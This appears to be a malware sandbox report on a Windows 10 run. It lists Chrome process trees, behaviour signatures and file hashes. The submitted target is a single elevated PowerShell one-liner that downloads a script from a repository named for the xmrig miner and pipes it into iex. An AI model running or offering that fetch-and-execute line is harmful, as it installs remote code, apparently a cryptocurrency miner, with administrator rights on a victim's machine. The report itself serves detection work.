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Resubmissions

07/07/2024, 15:20

240707-sqxdvsxbka 6

06/07/2024, 11:20

240706-nfk6maxflr 8

04/07/2024, 08:53

240704-ktts5svhkg 3

04/07/2024, 08:51

240704-kr7bfsshmm 3

04/07/2024, 08:05

240704-jythhatfmb 8

04/07/2024, 07:32

240704-jde5dashlb 8

Analysis

  • max time kernel
    1799s
  • max time network
    1685s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    04/07/2024, 08:53

General

  • Target

    http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

Malware Config

Signatures

  • Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 26 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
    1⤵
    • Access Token Manipulation: Create Process with Token
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:5028
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffbd2139758,0x7ffbd2139768,0x7ffbd2139778
      2⤵
        PID:4272
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1536 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:2
        2⤵
          PID:3960
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1784 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:8
          2⤵
            PID:4900
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2092 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:8
            2⤵
              PID:4140
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2648 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:1
              2⤵
                PID:3136
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2656 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:1
                2⤵
                  PID:4088
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3852 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:1
                  2⤵
                    PID:516
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3012 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:1
                    2⤵
                      PID:4240
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4776 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:8
                      2⤵
                        PID:1484
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3928 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:8
                        2⤵
                          PID:3220
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=3448 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:1
                          2⤵
                            PID:4972
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3952 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:8
                            2⤵
                              PID:4428
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4864 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:8
                              2⤵
                                PID:4964
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=2160 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:1
                                2⤵
                                  PID:4236
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=4724 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:1
                                  2⤵
                                    PID:4240
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1836 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:2
                                    2⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:4824
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=924 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:1
                                    2⤵
                                      PID:4508
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=844 --field-trial-handle=1852,i,17784068355144014780,8736713674857225629,131072 /prefetch:1
                                      2⤵
                                        PID:2968
                                    • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                      "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                      1⤵
                                        PID:2256

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

                                        Filesize

                                        677B

                                        MD5

                                        f55ed9bbed6a86ded5bae270b719a296

                                        SHA1

                                        11617f396feb8bb536294bcef62fab2dbbae182e

                                        SHA256

                                        13107f376934910eed76053be72297798325e18dc27abd10f433b8316aecf669

                                        SHA512

                                        69233dbc24ac916e4290061e9cd916a25a4b3adb5ae8236e3c97458656f4dc159ec7847a8cc66a844716b7ecf61f3fb77edb777bf650e159549f8aa9226e926a

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                        Filesize

                                        6KB

                                        MD5

                                        5cf3df8aa193c2058fb529a83d9108c3

                                        SHA1

                                        44dde2aa74895ae0949602c5c810178a6bbae47d

                                        SHA256

                                        f00027e17fa2712c0bcc9a3e80967096ffcf089d8306868edcb687fb31a0765c

                                        SHA512

                                        f99d67c15b201e4e6a6a6c5b3a0e30bf2d6effd0f6f73eb3113c6399b51615e08cdb4102ccfb7fc4d31b873134b792706a72fe41ac797b106e7dd4c98fad6522

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                        Filesize

                                        6KB

                                        MD5

                                        52ca112ee1fc9b5173c5159dd34cbb5e

                                        SHA1

                                        ce69b05a791d0736898d123b524514cbb5343498

                                        SHA256

                                        cc619f0272beec9535010b2bc4f86031b0d5bcc2b8e0ab9b4d1f25f814c96c84

                                        SHA512

                                        7cbc94c4790d765096a5eef70ed3342e5d197d975998aea051e993d2e835954abf61cc316c5a1525fab0867098c8d784a5af419e2dfc3adbbda06df7fa5a71e0

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                        Filesize

                                        138KB

                                        MD5

                                        1c5e70f4dc3c36cf716d6fb8375ad42f

                                        SHA1

                                        02d1395232a970aab8b1df99e1da8a98d94279d9

                                        SHA256

                                        5e5768804165c8ff192fc9738fad40ea7c365f6fa53ad8fd5a1ff3fe3dd062d7

                                        SHA512

                                        4dbe252b713f1b144da7a408673a31cf5a550b6c70626da4898bf89ac99445589ed46259de139e8ad2891eb9795e7ae2a2680328163106b61c80d1900a2cff8c

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                        Filesize

                                        160KB

                                        MD5

                                        8e4eb7bfb3537fcdbad7a04dc5485279

                                        SHA1

                                        8034ad8de076e5cf908b16cb3c3ca28237eabcbb

                                        SHA256

                                        a1df2c540f98729d2371cf3c5eb2a04bc534d14ab12b5b5c41d0653e8ec6427d

                                        SHA512

                                        6ae1c5de8ba2387e066efd0b698bcdf31befdd712dd8d89553ab2509238e7b9a59e328cc07d3b7868f01a520c49a7f324b7c60216668ae7ee9403ba6934114ea

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                        Filesize

                                        137KB

                                        MD5

                                        2a16cc66a0af6e7a9ba8d0d0d642e70e

                                        SHA1

                                        15f5aae54558a6a525935e60469ac721e2e1e87d

                                        SHA256

                                        0599f3ae8d75cfc03996a570aa94fb67316254ddc8e2de81ab8587768a21932b

                                        SHA512

                                        8cad5f5d677712c5ed1d469abd321e16d33ed5239ad3fef569a631ea17aa6efb69d5ecf6d6e3a36b73ccc5b45b1a6dc4fb94b230780a3276454d541e59b5cfa8

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                        Filesize

                                        138KB

                                        MD5

                                        faf5c31278a33b6a2f7f3d53f30307d5

                                        SHA1

                                        fd0e7a60590028cced1d196d9ff1d822b50ed9f0

                                        SHA256

                                        b7bcbfd7bda8bea0be739cecc47f67277d604396179effbbe213dfc0c00c8df5

                                        SHA512

                                        7c9724a01bc23f9760c6a8e06c3c5acb28ce3ab823b4b6e52e72ec2245f8c4ebdabc7938eb8e609f6e22efb9d3241fc94c3d99912441a21d7212ee8e4112cdd1

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.json

                                        Filesize

                                        2B

                                        MD5

                                        99914b932bd37a50b983c5e7c90ae93b

                                        SHA1

                                        bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

                                        SHA256

                                        44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

                                        SHA512

                                        27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd